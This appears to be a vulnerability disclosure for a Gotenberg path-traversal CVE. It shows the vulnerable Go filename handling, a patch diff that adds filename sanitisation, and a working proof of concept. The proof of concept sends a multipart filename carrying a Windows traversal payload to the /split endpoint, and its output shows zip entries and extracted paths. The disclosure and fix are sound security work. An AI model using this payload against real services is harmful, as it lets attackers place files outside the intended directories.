Gotenberg CVE-2026-44829

filename := norm.NFC.String(filepath.Base(fh.Filename))

originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))
newOriginal      := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i)
ctx.RegisterDiskPath(newPath, newOriginal)

- filename := norm.NFC.String(filepath.Base(fh.Filename))
+ filename := sanitizeFilename(fh.Filename)
+
+ func sanitizeFilename(name string) string {
+     if i := strings.LastIndexAny(name, "/\\"); i >= 0 {
+         name = name[i+1:]
+     }
+     name = norm.NFC.String(name)
+     // Optional belt-and-braces:
+     name = strings.ReplaceAll(name, "..", "_")
+     name = strings.Map(func(r rune) rune {
+         if r < 0x20 || r == 0x7f { return -1 }
+         return r
+     }, name)
+     return name
+ }

mkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc

docker rm -f gotenberg-audit 2>/dev/null
docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0
i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done
# Stub PDF.
printf '%%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n158\n%%%%EOF\n' > stub.pdf
# Step 1: produce a 2-page PDF so /split returns multiple entries.
curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \
    -F 'files=@stub.pdf;filename=a.pdf' \
    -F 'files=@stub.pdf;filename=b.pdf'
# Step 2: split, declaring the multipart filename as a Windows path-traversal payload.
python3 - <<'PY'
import requests, zipfile, binascii
fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf'
files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')}
data  = {'splitMode': 'intervals', 'splitSpan': '1'}
r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data)
print(f'HTTP={r.status_code}  ctype={r.headers.get("content-type")}  bytes={len(r.content)}')
open('split.zip', 'wb').write(r.content)

z = zipfile.ZipFile('split.zip')
print('--- zip entries (orig_filename) ---')
for info in z.infolist():
    print(f'   {info.orig_filename!r}')
# Show raw central-directory bytes to prove backslashes are on the wire:
data = open('split.zip', 'rb').read()
idx = data.find(b'PK\x01\x02')
print('--- raw central-dir hex around filename ---')
print(f'   {binascii.hexlify(data[idx:idx+80]).decode()}')
PY

docker stop gotenberg-audit

HTTP=200  ctype=application/zip  bytes=24750
--- zip entries (orig_filename) ---
   '..\\..\\..\\..\\Windows\\System32\\evil_0.pdf'
   '..\\..\\..\\..\\Windows\\System32\\evil_1.pdf'
--- raw central-dir hex around filename ---
   504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f

Expand-Archive -Path .\split.zip -DestinationPath .\out -Force
Get-ChildItem .\out -Recurse
# → out\Windows\System32\evil_0.pdf
# → out\Windows\System32\evil_1.pdf